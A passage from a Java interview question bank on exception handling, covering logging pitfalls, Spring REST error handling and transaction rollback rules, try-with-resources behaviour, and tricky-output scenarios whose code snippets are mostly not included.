#finally #finalize

Q35 What are common exception logging pitfalls? INTERMEDIATE

Typical mistakes: log and rethrow (duplicate entries), `e.printStackTrace()`, logging `e.getMessage()` only, and passing the exception as a string concatenation so the stack trace is lost.

```
log.error("Failed to process order {}", id, e);   // good: last arg is Throwable
log.error("Failed: " + e);                        // bad: no stack trace
```

- Log once, at the boundary that handles the exception.
- Do not log sensitive data in messages (PII, tokens).
- With SLF4J, a trailing Throwable not matching a placeholder is printed as the stack trace.

> **FOLLOW-UP TRAPS**
> - **Why is log-and-rethrow bad?** The same failure appears several times, making incidents hard to read.
> - **Is `printStackTrace()` acceptable?** No, it bypasses the logging framework and goes to stderr.

#logging #antipattern

Q36 What is the "swallowing exceptions" antipattern? BASIC

An empty or log-less catch block hides failures, leaving the program in an unknown state and making debugging nearly impossible.

- If ignoring is intentional, comment why and name the variable `ignored`.
- Prefer handling, rethrowing with context, or failing fast.

FOLLOW-UP TRAPS

- **Is `catch (Exception e) {}` ever correct?** Very rarely, e.g. best-effort cleanup, and then log at debug.
- **Is returning null from catch the same problem?** Yes, it moves the failure downstream.

#swallow #antipattern

Q37 What is fail-fast and how does it relate to exceptions? BASIC

Detect invalid state at the earliest point and throw immediately rather than propagating bad data. Validate arguments at method entry.

- `Objects.requireNonNull(x, "x")`, `IllegalArgumentException`, `IllegalStateException`.
- `IllegalArgumentException`: bad input. `IllegalStateException`: object is in the wrong state for the call.
- `UnsupportedOperationException`: operation not supported (e.g. immutable collection).

FOLLOW-UP TRAPS

- **IAE vs ISE?** Argument is wrong vs target state is wrong.
- **Does `requireNonNull` throw a checked exception?** No, NPE.

#fail-fast #validation

Q38 What is the difference between NoClassDefFoundError and ClassNotFoundException? INTERMEDIATE

`ClassNotFoundException` is a checked exception from explicit loading (`Class.forName`, `loadClass`). `NoClassDefFoundError` is an `Error` thrown when a class present at compile time is missing at runtime, or its static init failed earlier.

- Typical cause: missing dependency in the runtime classpath, version conflicts, or failed static initializer.

FOLLOW-UP TRAPS

- **Which is checked?** `ClassNotFoundException`.
- **Can a class that exists on disk cause `NoClassDefFoundError`?** Yes, after an `ExceptionInInitializerError`.

#classloading #error

Q39 What does `assert` do and how does it differ from exceptions? BASIC

`assert cond : msg;` throws `AssertionError` if the condition is false, but only when assertions are enabled with `-ea`. They are disabled by default.

- Use for internal invariants, never for validating public method arguments or anything with side effects.

FOLLOW-UP TRAPS

- **Are assertions on in production by default?** No.
- **Should you catch `AssertionError`?** No.

#assert #assertionerror

Q40 How does `Optional` relate to exception handling? INTERMEDIATE

`Optional` models an absent value without exceptions. `orElseThrow(Supplier)` converts absence into an exception at the point you choose.

```
User u = repo.findById(id)
    .orElseThrow(() -> new UserNotFoundException(id));
```

- Java 10 adds no-arg `orElseThrow()` throwing `NoSuchElementException`.
- Do not use `Optional.get()` blindly.

FOLLOW-UP TRAPS

- **Does the supplier run when a value is present?** No, it is lazy.
- **Should repository methods that expect a result return `Optional`?** Yes, when absence is a legitimate outcome.

#optional #design

Q41 What does the stack trace contain and how can you control it? INTERMEDIATE

A snapshot of the call stack at construction (not at throw) time, as `StackTraceElement[]`, with "Caused by" chains and "... n more" for frames shared with the enclosing trace.

- `setStackTrace` replaces it; `getStackTrace` returns a copy.
- JIT may omit stack traces for hot, frequently thrown built-in exceptions (`-XX:-OmitStackTraceInFastThrow` disables that).
- Stack trace depth is limited by `-XX:MaxJavaStackTraceDepth`.

FOLLOW-UP TRAPS

- **Where does the trace point if you create an exception in one place and throw it elsewhere?** At creation.
- **Why do logs sometimes show NPE with an empty stack trace?** `OmitStackTraceInFastThrow` after many repeated throws.

#stacktrace #diagnostics

Q42 What is a good REST error-handling strategy in Spring Boot? INTERMEDIATE

Throw domain exceptions from services and translate them centrally with `@RestControllerAdvice` and `@ExceptionHandler` into a consistent error body and HTTP status.

```
@RestControllerAdvice
class ApiErrors {
    @ExceptionHandler(OrderNotFoundException.class)
    ResponseEntity<ProblemDetail> notFound(OrderNotFoundException e) {
        return ResponseEntity.status(404)
            .body(ProblemDetail.forStatusAndDetail(HttpStatus.NOT_FOUND, e.getMessage()));
    }
}
```

- Keep controllers free of try/catch.
- Add a catch-all handler returning 500 with a generic message, logging the details with a correlation id.

FOLLOW-UP TRAPS

- **Should the 500 body include the stack trace?** No, it leaks internals.
- **Does `@ControllerAdvice` apply to filter exceptions?** No, filters run outside DispatcherServlet.

#rest #spring #controlleradvice

Q43 What is ProblemDetail (RFC 7807 / RFC 9457)? INTERMEDIATE

A standard JSON error format (`application/problem+json`) with `type`, `title`, `status`, `detail`, `instance` and extension members. Spring 6 / Boot 3 provides `ProblemDetail` and `ErrorResponse`.

- Enable built-in handling for Spring MVC exceptions with `spring.mvc.problemdetails.enabled=true`.
- Or extend `ResponseEntityExceptionHandler` in your advice.
- Use `setProperty` to add custom fields such as error codes.

FOLLOW-UP TRAPS

- **Is the media type `application/json`?** No, `application/problem+json`.
- **Is `ProblemDetail` available on Spring 5?** No, Spring 6 / Boot 3.

#rest #problemdetail #spring6

Q44 Which HTTP status codes should map to which exceptions? BASIC

Client mistakes map to 4xx, server faults to 5xx.

- 400: malformed or invalid input (validation, `MethodArgumentNotValidException`).
- 401 / 403: unauthenticated / unauthorized.
- 404: resource not found. 409: state conflict (duplicate, optimistic lock).
- 422: semantically invalid payload (optional, team convention).
- 500: unexpected bug. 503: dependency down or overloaded.

FOLLOW-UP TRAPS

- **401 vs 403?** 401 means identity unknown; 403 means identity known but not permitted.
- **Which code for optimistic lock failure?** 409 typically.

#rest #http-status

Q45 How does Spring resolve exceptions in MVC? ADVANCED

`DispatcherServlet` delegates to `HandlerExceptionResolver`s in order: `ExceptionHandlerExceptionResolver` (`@ExceptionHandler`), `ResponseStatusExceptionResolver` (`@ResponseStatus` / `ResponseStatusException`), `DefaultHandlerExceptionResolver` (standard Spring exceptions).

- Controller-local `@ExceptionHandler` takes precedence over advice.
- The most specific exception type match wins.
- Unresolved exceptions go to the container error page (`/error` in Boot, `BasicErrorController`).

FOLLOW-UP TRAPS

- **Local vs global handler?** Local controller handler is preferred.
- **Does Boot's `/error` show messages by default?** Not since Boot 2.3; `server.error.include-message` opts in.

#spring #resolver

Q46 How does bean validation exception handling work? INTERMEDIATE

`@Valid` on `@RequestBody` throws `MethodArgumentNotValidException` (contains `BindingResult`); constraints on `@RequestParam` / `@PathVariable` with `@Validated` throw `ConstraintViolationException` (Boot 3 / Spring 6.1+ raises `HandlerMethodValidationException` for method validation).

- Map both to 400 and return field-level errors.
- Do not expose raw validation internals; map to field and message.

FOLLOW-UP TRAPS

- **Are they the same exception?** No, body binding vs method constraint validation.
- **Is `@Validated` on the controller class needed for `@RequestBody @Valid`?** No.

#validation #spring

Q47 When does a Spring `@Transactional` method roll back? INTERMEDIATE

By default, a transaction rolls back on unchecked exceptions (`RuntimeException` and `Error`) and commits on checked exceptions.

- Override with `rollbackFor = Exception.class` or `noRollbackFor`.
- The exception must propagate out of the transactional proxy; if you catch it inside the method, the transaction commits.

> **FOLLOW-UP TRAPS**
> - **Does a checked exception roll back?** No, not by default.
> - **Does a caught exception roll back?** No, unless you call `setRollbackOnly()`.

#transactions #rollback

Q48 **What is the rollback-only trap with nested transactional calls?** ADVANCED

With `REQUIRED` propagation, an inner `@Transactional` method that throws marks the shared transaction rollback-only; even if the outer method catches it, the commit fails with `UnexpectedRollbackException`.

- Use `REQUIRES_NEW` for work that must succeed or fail independently (separate connection).
- Or avoid throwing across the boundary and return a result.

> **FOLLOW-UP TRAPS**
> - **Does catching the exception in the outer method save the transaction?** No, it is already rollback-only.
> - **Does `REQUIRES_NEW` use the same connection?** No, a new connection; the outer one is suspended.

#transactions #rollback-only #propagation

Q49 **Why does `@Transactional` not roll back for self-invocation or private methods?** ADVANCED

Spring applies transactions through proxies. A call from within the same class bypasses the proxy, so no transactional advice runs, and rollback rules never apply. Private methods are not proxied.

- Fix by moving the method to another bean, injecting self, or using AspectJ mode.
- Also, the method must be public for default proxy-based advice.

> **FOLLOW-UP TRAPS**
> - **Does the exception still propagate?** Yes, but nothing rolls back at that method boundary.
> - **Does `final` on a method matter for CGLIB proxies?** Yes, it cannot be intercepted.

#transactions #proxy

Q50 **How do JDBC and JPA exceptions differ and how does Spring translate them?** INTERMEDIATE

JDBC throws checked `SQLException` with vendor codes; JPA throws unchecked `PersistenceException` subclasses. Spring translates both to the `DataAccessException` hierarchy (`DuplicateKeyException`, `DataIntegrityViolationException`, `OptimisticLockingFailureException`).

- Translation is applied to `@Repository` beans via a post processor.
- Services can catch Spring types without depending on the persistence technology.

> **FOLLOW-UP TRAPS**
> - **Is `DataAccessException` checked?** No, it is a `RuntimeException`.
> - **Why might a flush-time constraint violation surface late?** JPA defers SQL until flush or commit.

#jdbc #jpa #translation

Q51 **What is the difference between `Exception.getCause()` root cause search and `NestedExceptionUtils`?** INTERMEDIATE

`getCause()` returns only the immediate cause. To reach the root cause, loop until `getCause()` is null (guarding against cycles); Spring offers `NestedExceptionUtils.getRootCause` and Apache Commons has `ExceptionUtils.getRootCause`.

```
static Throwable root(Throwable t) {
    Throwable r = t;
    while (r.getCause() != null && r.getCause() != r) r = r.getCause();
    return r;
}
```

FOLLOW-UP TRAPS

- **Can a cause chain be cyclic?** Possible if built manually; guard with a visited set.
- **Does `printStackTrace` loop forever on cycles?** No, it detects cycles ("CIRCULAR REFERENCE").

#cause #root-cause

Q52 How do you retry safely after exceptions? ADVANCED

Retry only transient, idempotent failures, with a bounded attempt count, exponential backoff and jitter, and surface the final exception with earlier ones as suppressed.

- Spring Retry (`@Retryable`) or Resilience4j; combine with a circuit breaker to avoid hammering a failing dependency.
- Never retry validation errors or non-idempotent calls without idempotency keys.
- Retrying inside a `@Transactional` method retries within a rollback-only transaction; retry outside the transaction boundary.

FOLLOW-UP TRAPS

- **Why jitter?** To avoid synchronized retry storms.
- **Is retrying a POST safe?** Only with an idempotency key.

#retry #resilience

Q53 What are `Error` handling guidelines for a long-running service? ADVANCED

Log fatal `Error`s and let the process die so an orchestrator restarts it, rather than continuing in an undefined state. For OOM, use `-XX:+ExitOnOutOfMemoryError` or `-XX:+CrashOnOutOfMemoryError`.

- A thread that hit OOM may have left locks or half-updated shared state.
- Catching `Throwable` in task loops is fine only if you rethrow `VirtualMachineError` and `ThreadDeath`-like fatals.

FOLLOW-UP TRAPS

- **Does `ExitOnOutOfMemoryError` run shutdown hooks?** It exits the JVM; use `CrashOnOutOfMemoryError` when you also want a core dump.
- **Is it safe to continue after `StackOverflowError`?** Usually yes if unwound cleanly, but not guaranteed.

#error #resilience #jvm

Scenarios

Q54 What does this print and return? BASIC

It prints `2`. The `return` in `finally` replaces the value saved by the try block.

- The compiler accepts it (lint warning only).
- Same override happens for exceptions: `finally { return 2; }` swallows them.

FOLLOW-UP TRAPS

- **What if finally only assigned a local int?** Still returns 1, the value is already captured.
- **Does javac fail the build?** No, unless `-Werror` with `-Xlint:finally`.

#finally #return #tricky-output

Q55 **What is the output of this method?** BASIC

`ABCD`. The catch returns, but `finally` still runs (`C`) before control goes back to the caller, which then prints `D`.

> **FOLLOW-UP TRAPS**
> - **If `System.exit(0)` replaced `return`?** Output is `AB`; finally does not run.
> - **If the finally block threw?** That exception would replace the return.

#finally #catch #return #tricky-output

Q56 **Which exception does the caller see here?** INTERMEDIATE

The caller gets `IllegalArgumentException: finally`. The `IllegalStateException` is lost completely; there is no cause and no suppressed link.

- Fix by catching in finally and `addSuppressed`, or by using try-with-resources.
- This is exactly why cleanup code in `finally` should not throw.

> **FOLLOW-UP TRAPS**
> - **Does the stack trace mention "try"?** No.
> - **Does try-with-resources behave the same way?** No, it keeps the body exception and suppresses the close exception.

#finally #masking #tricky-output

Q57 **What is the output order of this try-with-resources?** BASIC

```
open 1
open 2
body
close 2
close 1
```

Resources are closed in reverse order of creation.

> **FOLLOW-UP TRAPS**
> - **If the body throws, are resources still closed?** Yes, before any catch block runs.
> - **Does `close()` here need `throws Exception`?** No, the override narrows it away.

#try-with-resources #ordering #tricky-output

Q58 **What does this print about suppressed exceptions?** INTERMEDIATE

`body 1 close`. The body exception is primary; the close exception is added as suppressed.

> **FOLLOW-UP TRAPS**
> - **What if the body did not throw?** The caught exception is the close one with zero suppressed.
> - **What changes if you use try/finally with `r.close()`?** The caller would see only the finally exception.

#suppressed #try-with-resources #tricky-output

Q59 **Trace the output of nested try/finally.** BASIC

`F1 C:a F2`. The inner finally runs while the exception unwinds, the outer catch handles it, then the outer finally runs.

FOLLOW-UP TRAPS

- **Does the outer catch see the exception if the inner finally completes normally?** Yes, it keeps propagating.
- **What if the inner finally returned?** The exception would be swallowed and the outer catch would not run.

#finally #nested #tricky-output

Q60 Will this compile? BASIC

No. `NumberFormatException` extends `IllegalArgumentException`, so the second catch is unreachable and javac reports "exception has already been caught". Put the subclass first.

FOLLOW-UP TRAPS

- **Is the reverse order legal?** Yes, specific first, general later.
- **Is an unreachable catch for an unrelated checked exception legal?** No, javac errors if the try body cannot throw that checked exception.

#catch-order #compile-error

Q61 A class has a static initializer that throws. What do callers see? ADVANCED

The first access to `Config` throws `ExceptionInInitializerError` (cause: `IllegalStateException`). Every later access throws `NoClassDefFoundError: Could not initialize class Config`, whose trace hides the real cause.

- Look for the first occurrence in logs to find the root cause.
- Avoid risky work in static initializers; use lazy holders with explicit error handling.

FOLLOW-UP TRAPS

- **Can a retry succeed after the file is fixed?** No, the class stays in the erroneous state until the classloader is discarded.
- **Does a checked exception work in a static initializer?** It cannot propagate; you must catch it.

#static-init #noclassdeffounderror

Q62 An exception happens inside `stream.map` during a `forEach`. What gets processed? INTERMEDIATE

Prints `1` and `2`, then throws `NumberFormatException` for `x`; `4` is never processed. The pipeline is lazy and processed element by element, so earlier elements are already printed.

- To keep going, catch inside the mapper and return an `Optional` or result object, then filter.

FOLLOW-UP TRAPS

- **Would `collect(toList())` have returned a partial list?** No, the exception discards it.
- **What if there were no terminal operation?** Nothing runs, no exception.

#streams #exception #tricky-output

Q63 A task submitted to an executor throws, but nothing appears in the logs. Why? INTERMEDIATE

`submit` captures the exception in the returned `Future`; no one calls `get()`, so it is never reported and the uncaught handler is not invoked.

- Use `execute`, or wrap the task body in try/catch with logging, or inspect `Future.get()`.
- For centralized handling, subclass `ThreadPoolExecutor` and override `afterExecute`, which receives the `Throwable` for `execute` tasks and requires unwrapping the `Future` for `submit`.

FOLLOW-UP TRAPS

- **Does the pool thread die?** No.
- **What does `get()` throw?** `ExecutionException` with `IllegalStateException` as the cause.

#executor #future #debugging

Q64 A scheduled job stops running after one failure. Why? INTERMEDIATE

An exception from a periodic task suppresses all subsequent executions, and it is stored silently in the `ScheduledFuture`. Wrap the body in try/catch(`Exception`) and log.

```
scheduler.scheduleAtFixedRate(() -> {
    try { process(); }
    catch (Exception e) { log.error("job failed", e); }
}, 0, 1, TimeUnit.MINUTES);
```

FOLLOW-UP TRAPS

- **Does Spring `@Scheduled` behave the same?** No, Spring wraps the task with an error handler that logs and continues.
- **Should you catch `Error` too?** Usually not; let fatal errors surface.

#scheduled #executor #debugging

Q65 What happens to the program when a worker thread throws? BASIC

`main done` is printed and the stack trace for `RuntimeException: t` goes to stderr (order may vary). The JVM exits normally with code 0 since all non-daemon threads finished.

- Exit code 0 even though a thread failed; monitoring must not rely on it.

FOLLOW-UP TRAPS

- **Can `main` catch it?** No.
- **How to log it centrally?** `Thread.setDefaultUncaughtExceptionHandler`.

#threads #uncaught #tricky-output

Q66 Does this transaction roll back? INTERMEDIATE

No. Spring rolls back by default only for `RuntimeException` and `Error`. The checked `IOException` propagates but the transaction commits, leaving the order marked paid.

- Fix: `@Transactional(rollbackFor = IOException.class)` or `rollbackFor = Exception.class`.

FOLLOW-UP TRAPS

- **Does EJB behave the same way?** Yes, checked exceptions are application exceptions and do not roll back by default.
- **Does `Error` roll back?** Yes in Spring.

#transactions #rollback #checked

Q67 Why does the outer method fail with UnexpectedRollbackException? ADVANCED

The inner call joined the outer transaction. When it threw, the proxy marked the shared transaction rollback-only. On exit, `outer` tries to commit and Spring throws `UnexpectedRollbackException`; the `save` is lost too.

- Fix with `@Transactional(propagation = REQUIRES_NEW)` on `inner`, or `noRollbackFor`, or make `inner` not throw.

FOLLOW-UP TRAPS

- **Is the save committed?** No, whole transaction rolls back.
- **Does `NESTED` help?** Yes with JDBC savepoints, if the transaction manager supports them (not with default JPA).

#transactions #rollback-only

Q68 Why is rollback not happening here? ADVANCED

`place` calls `save` on `this`, bypassing the Spring proxy, so no transaction is started and no rollback rule applies. With Spring Data's own repository transaction, `repo.save` has already committed.

- Fix: move `save` to another bean, put `@Transactional` on `place`, or use AspectJ weaving.

FOLLOW-UP TRAPS

- **Does the exception still propagate?** Yes.
- **Would it work if `save` were private?** No, private methods are not advised.

#transactions #proxy #self-invocation

Q69 Review: every layer logs and rethrows. What is wrong? BASIC

One failure produces three or more large stack traces, confusing triage and inflating logs. Log exactly once where the exception is finally handled (typically the global handler) and translate with the cause elsewhere.

- Lower layers add context via the message and cause, not by logging.

FOLLOW-UP TRAPS

- **Is it ever fine to log and rethrow?** At a boundary that adds value (for example metrics plus context), at debug level.
- **Does the cause chain preserve the original trace?** Yes.

#logging #antipattern

Q70 A REST endpoint returns 500 with StackOverflowError for two JPA entities. Why? INTERMEDIATE

Jackson serializes `Author.books`, each `Book.author` points back to the author, repeating forever until the stack overflows. Lombok `toString` / `hashCode` on both sides cause the same effect.

- Return DTOs, or use `@JsonManagedReference` / `@JsonBackReference`, `@JsonIgnore`, or `@JsonIdentityInfo`.
- Exclude the back-reference from `@ToString` and `@EqualsAndHashCode`.

FOLLOW-UP TRAPS

- **Does lazy loading prevent it?** No, serialization triggers loading.
- **Is increasing `-Xss` a fix?** No, the recursion is infinite.

#stackoverflowerror #jpa #serialization

Q71 "OutOfMemoryError: unable to create native thread". What do you check? ADVANCED

The JVM did not hit heap limits; the OS refused a new thread. Typical causes: unbounded thread creation (`newCachedThreadPool`, one thread per task), low `ulimit -u`, container pid limit, or too little native memory with a large `-Xss`.

- Take a thread dump to see who creates threads.
- Bound pools, use virtual threads (Java 21) for blocking I/O, reduce `-Xss`.
- Raising `-Xmx` makes it worse by leaving less native memory.

FOLLOW-UP TRAPS

- **Does a heap dump help?** Not much; use a thread dump and OS limits.
- **Can this occur with plenty of free heap?** Yes, exactly this case.

#oom #threads #production

Q72 A hot loop uses exceptions to detect invalid input and is slow. Why and what to do? ADVANCED

Each failure allocates an exception and fills its stack trace, which is costly especially under deep framework stacks. If most inputs are invalid, throughput drops by orders of magnitude versus a simple check.

- Pre-validate with a character loop or regex, or use a parser returning `Optional` / `OptionalInt`.
- When exceptions are necessary and frequent, create stackless ones (`super(msg, null, false, false)`).

FOLLOW-UP TRAPS

- **Is the try block slow when input is valid?** No, no overhead on the happy path.
- **Is it a problem if invalid input is rare?** No, readability matters more.

#performance #stacktrace #control-flow

Q73 Production logs show a NullPointerException with no stack trace. Why? ADVANCED

After a hot code path throws the same implicit exception (NPE, `ArithmeticException`, `ArrayIndexOutOfBounds`, `ClassCastException`, `ArrayStoreException`) many times, C2 compiles the throw to reuse a preallocated exception without a stack trace (`OmitStackTraceInFastThrow`).

- Search earlier logs for the same exception, where the trace was still present.
- Disable with `-XX:-OmitStackTraceInFastThrow`.
- Fix the actual bug throwing so frequently.

FOLLOW-UP TRAPS

- **Does it apply to exceptions created with `new`?** No, only JIT-intrinsified implicit ones.
- **Does it affect correctness?** No, only diagnostics.

#npe #jit #stacktrace

Q74 A worker loop swallows InterruptedException and the service will not shut down. Why? INTERMEDIATE

`shutdownNow()` interrupts the thread; `take()` throws and clears the flag; the catch ignores it and the loop continues forever. Restore the flag and exit.

```
while (!Thread.currentThread().isInterrupted()) {
    try { run(queue.take()); }
    catch (InterruptedException e) { Thread.currentThread().interrupt(); }
}
```

FOLLOW-UP TRAPS

- **Does `shutdown()` interrupt workers?** No, only `shutdownNow()`.
- **Does `take()` leave the flag set?** No, it throws and clears it.

#interrupted #shutdown #threads

Q75 Review this custom exception design. INTERMEDIATE

Problems: single generic type (callers cannot react differently), checked (forces boilerplate through every layer), no cause constructor, no error code, vague message.

- Prefer a small hierarchy of unchecked exceptions (`NotFoundException`, `ConflictException`, `ValidationException`) deriving from one base with an error code.

- Add `(String, Throwable)` constructor and include relevant identifiers in the message.

> **FOLLOW-UP TRAPS**
> - **Should the message be user-facing?** No; map codes to localized messages at the API edge.
> - **Add a serialVersionUID?** Yes for stable serialization if exceptions cross JVMs (RMI, caches).

#custom-exception #design #review

Q76 The API returns the raw exception message on 500. Is that a problem? BASIC

Yes. Messages can leak SQL, table names, file paths, library versions or personal data, helping attackers. Return a generic message plus a correlation/trace id, and log the full details server side.

- Boot's default `server.error.include-stacktrace=never` and `include-message=never` exist for this reason.
- Validation errors are fine to detail because they describe client input.

> **FOLLOW-UP TRAPS**
> - **How does support find the cause?** Correlation id in the response and logs (MDC).
> - **Is hiding the message security by obscurity?** It is information-leak reduction, not the only control.

#rest #security #error-handling

Q77 Which handler runs when several `@ExceptionHandler` methods match? INTERMEDIATE

The handler whose declared type is closest in the exception's class hierarchy wins, so `nf` handles `OrderNotFoundException`. Method order does not matter.

- A handler in the controller itself overrides global `@ControllerAdvice` handlers, even a less specific one.
- Multiple advice beans are ordered with `@Order`.

> **FOLLOW-UP TRAPS**
> - **Two handlers for the same type in one class?** Startup fails with an ambiguity error.
> - **Are exceptions wrapped in `ServletException` matched by cause?** Spring also checks the cause chain.

#spring #exceptionhandler

Q78 What does this CompletableFuture print? INTERMEDIATE

`CompletionException:x`. `thenApply` is skipped; the exception reaches `exceptionally` wrapped in a `CompletionException` since it passed through a dependent stage.

- If `exceptionally` were attached directly to `supplyAsync`, the argument is the raw `IllegalStateException` in many cases, but code should not depend on it; unwrap defensively.
- The output may appear after `main` ends, since it is async on the common pool (daemon threads).

> **FOLLOW-UP TRAPS**
> - **Does `thenAccept` run?** Yes, the recovered value feeds it.
> - **Does `get()` throw `CompletionException`?** No, `ExecutionException`; `join()` throws `CompletionException`.

#completablefuture #tricky-output

Q79 A parallel stream throws from several elements. What does the caller see? ADVANCED

One exception propagates from the terminal operation; which one is not deterministic. Other tasks may have run partially, and other exceptions are typically discarded (the fork-join framework may attach them).

- Do not rely on cleanup or ordering; collect errors explicitly (for example into a concurrent queue) when you need them all.

FOLLOW-UP TRAPS

- **Is it always the first element's exception?** No.
- **Does it stop other elements?** Cancellation is best-effort; some still run.

#streams #parallel #exception

Q80 Does `finally` run here? BASIC

Only `try` is printed. `System.exit` halts the JVM (after shutdown hooks), so `finally` never runs.

- Same for `Runtime.halt`, a JVM crash, kill -9, or an infinite loop in try.

FOLLOW-UP TRAPS

- **Do shutdown hooks run?** Yes for `exit`, not for `halt`.
- **If the thread is a daemon and main ends mid-try?** The JVM may exit without running finally.

#finally #system-exit

Q81 What happens when the catch block throws and a finally exists? INTERMEDIATE

`finally` is printed, then `RuntimeException: from catch` propagates. The original `IOException` is not attached unless passed as a cause: `new RuntimeException("from catch", e)`.

FOLLOW-UP TRAPS

- **Is the `IOException` visible in the trace?** Not without the cause.
- **Does a sibling catch clause handle the exception thrown from this catch?** No, only enclosing try statements do.

#catch #finally #tricky-output

Q82 What is the output when both catch and finally have effects? BASIC

`finally catch`. The return value is computed, `finally` prints, then the method returns and `println` outputs the saved value.

FOLLOW-UP TRAPS

- **What if finally modifies a returned `StringBuilder`?** The caller sees the modified object.
- **What if the string were modified in finally?** Strings are immutable, so the returned value is unchanged.

#catch #finally #return #tricky-output

Q83 Does this compile? INTERMEDIATE

No. An override cannot declare a checked exception broader than the overridden method; `Exception` is broader than `IOException`. `throws FileNotFoundException`, no `throws`, or `throws RuntimeException` would be fine.

FOLLOW-UP TRAPS

- **Does it matter if it was `Error`?** Unchecked types are allowed.
- **Why the rule?** Callers using `A a = new B()` only prepared for `IOException`.

#overriding #throws #compile-error

Q84 Does this precise-rethrow code compile? ADVANCED

Yes (Java 7+). The compiler knows the try body can throw only `IOException` (plus unchecked), and `e` is effectively final, so `throw e` is treated as throwing `IOException`.

- If you assign `e = new Exception();` before throwing, it no longer compiles without `throws Exception`.

FOLLOW-UP TRAPS

- **What if you wrap: `throw new Exception(e)` ?** Then `throws Exception` is required.
- **Does it change at runtime?** No, only compile-time analysis.

#rethrow #compile

Q85 Which of these multi-catch blocks compile? INTERMEDIATE

Only (1) compiles. (2) fails: alternatives are subclass-related. (3) fails because the multi-catch parameter is implicitly final.

- In (1) `e` has the static type `Exception`, so only members common to the alternatives are accessible without a cast.

FOLLOW-UP TRAPS

- **Can a single-type catch parameter be reassigned?** Yes.
- **Does the order of alternatives matter?** No.

#multi-catch #compile

Q86 What happens with a null resource? INTERMEDIATE

Prints `in` with no exception: the generated code checks `r != null` before calling `close()`.

FOLLOW-UP TRAPS

- **Is a null resource allowed in the initializer expression?** Yes, only the call on null would fail later.
- **Does the null check apply to older `finally` -style code?** No, you would write it.

#try-with-resources #null

Q87 What if the second resource fails during initialization? INTERMEDIATE

```
open a
close a
caught init
```

Resources already initialized are closed when a later one fails; the body never runs. The catch runs after the close.

FOLLOW-UP TRAPS

- **Is `b` closed?** No, it never existed.
- **Would the same be true with nested try/finally written by hand?** Only if written carefully.

#try-with-resources #initialization #tricky-output

Q88 What does each line produce? BASIC

`5 / 0` throws `ArithmeticException: / by zero` (execution stops). If it were skipped: `5.0 / 0` prints `Infinity`, `5 % 0` throws `ArithmeticException`, `0.0 / 0` prints `NaN`.

- Floating-point division never throws; integer division and remainder by zero do.

FOLLOW-UP TRAPS

- **What does `Integer.MIN_VALUE / -1` do?** Overflows to `MIN_VALUE`, no exception.
- **What about `Math.floorMod(5, 0)` ?** `ArithmeticException`.

#arithmetic #tricky-output

Q89 When does removing inside a for-each loop throw? INTERMEDIATE

Prints `[a, c]` without exception. Removing the second-to-last element leaves `size == cursor`, so `hasNext()` returns false and `next()` (which checks `modCount`) is never called. Removing `"a"` or `"c"` would throw `ConcurrentModificationException`.

- Use `Iterator.remove()` or `removeIf`.

FOLLOW-UP TRAPS

- **Is CME guaranteed on concurrent modification?** No, fail-fast is best effort.
- **Is CME only for multithreading?** No, single-thread structural modification triggers it too.

#concurrentmodificationexception #tricky-output

Q90 What does `Optional.orElse` do with a throwing argument? INTERMEDIATE

It throws `IllegalStateException`. `orElse` takes a value, so `fail()` is evaluated eagerly before the call even though the Optional is present. Use `orElseGet(() -> fail())` or `orElseThrow`.

FOLLOW-UP TRAPS

- **Does `orElseGet` evaluate when present?** No, the supplier is lazy.
- **Does `Optional.of(null)` throw?** Yes, NPE; use `ofNullable`.

#optional #eager-evaluation #tricky-output

Q91 What exceptions do immutable collection factories throw? BASIC

`l.add(3)` throws `UnsupportedOperationException`. `Map.of("k", null)` throws `NullPointerException`; the Java 9 factory methods reject nulls (`List.of`, `Set.of`, `Map.of`) and `contains(null)` also throws NPE.

- `Arrays.asList` supports `set` but not `add` / `remove` (also `UnsupportedOperationException`).

FOLLOW-UP TRAPS

- **Does `Collections.unmodifiableList` accept nulls?** Yes.
- **Does `List.copyOf` accept null elements?** No.

#collections #unsupported-operation

Q92 An exception in an `@Async void` method disappears. Why? ADVANCED

The call runs on another thread, so the caller cannot catch it. For `void` methods Spring passes the exception to an `AsyncUncaughtExceptionHandler` (by default it just logs at error level via `SimpleAsyncUncaughtExceptionHandler`).

- Return `CompletableFuture<Void>` to propagate failures to the caller.
- Configure a custom handler through `AsyncConfigurer.getAsyncUncaughtExceptionHandler()`.

FOLLOW-UP TRAPS

- **Does a transactional context from the caller carry over?** No, the async thread has its own.
- **Would `try/catch` around the call catch it?** No.

#spring #async #uncaught

Q93 A stream is created but the lambda would throw. Does it? BASIC

Prints `created` and nothing is thrown: intermediate operations are lazy and only run when a terminal operation executes. `s.count()` on Java 9+ may even skip `map` when size is computable, so no exception either; `s.toList()` would throw.

FOLLOW-UP TRAPS

- **Does `count()` always run `map`?** Not when the size is known and no filter alters it (Java 9+).
- **Can you reuse `s` after a terminal op?** No, `IllegalStateException`.

#streams #lazy

Q94 Original cause is lost after wrapping. How to spot and fix? BASIC

The new exception has no cause, so the original stack trace and type disappear. Pass it along: `throw new ServiceException("Failed to read config", e);`.

- Also avoid `throw new RuntimeException(e.toString())` and `e.printStackTrace()`.

FOLLOW-UP TRAPS

- **If the original message is null?** The new message is the string `"null"`, which makes it worse.
- **Does `initCause` help if the class lacks a cause constructor?** Yes, once.

#cause #wrapping #antipattern

Q95 Connection pool exhausted after a few failures. What is the likely bug? INTERMEDIATE

When `executeUpdate` throws, `close()` calls are skipped and the connection is never returned to the pool. After a few failures the pool is exhausted.

```
try (Connection c = ds.getConnection();
     PreparedStatement ps = c.prepareStatement(sql)) {
    ps.executeUpdate();
}
```

FOLLOW-UP TRAPS

- **Does `Connection.close()` really close with a pool?** It returns it to the pool.
- **Do you need to close the `ResultSet` separately?** Closing the statement closes it, but explicit try-with-resources is clearer.

#resources #try-with-resources #leak

Q96 An exception in a constructor: what state does the caller have? INTERMEDIATE

Prints `null`. The object was allocated but the constructor did not complete, so the assignment never happens. If the constructor opened resources before failing, it must release them itself, as no one holds the reference to close.

- Partially constructed objects can leak `this` (for example registering listeners) before failing; avoid it.

FOLLOW-UP TRAPS

- **Is the half-built object eligible for GC?** Yes unless `this` escaped.
- **Can a subclass constructor catch the super constructor's exception?** No, `super(...)` must be first and cannot be wrapped.

#constructor #exception

Q97 A retry loop around a transactional call keeps failing. Why? ADVANCED

After a persistence exception the transaction is typically rollback-only and the JPA session may be inconsistent, so retries in the same transaction fail or end with `UnexpectedRollbackException`. Retry must wrap the whole transactional unit, outside the proxy.

- Use Spring Retry with `@Retryable` on a bean that calls the transactional bean (aspect order: retry outside transaction).
- Retry only transient errors (deadlock, optimistic lock).

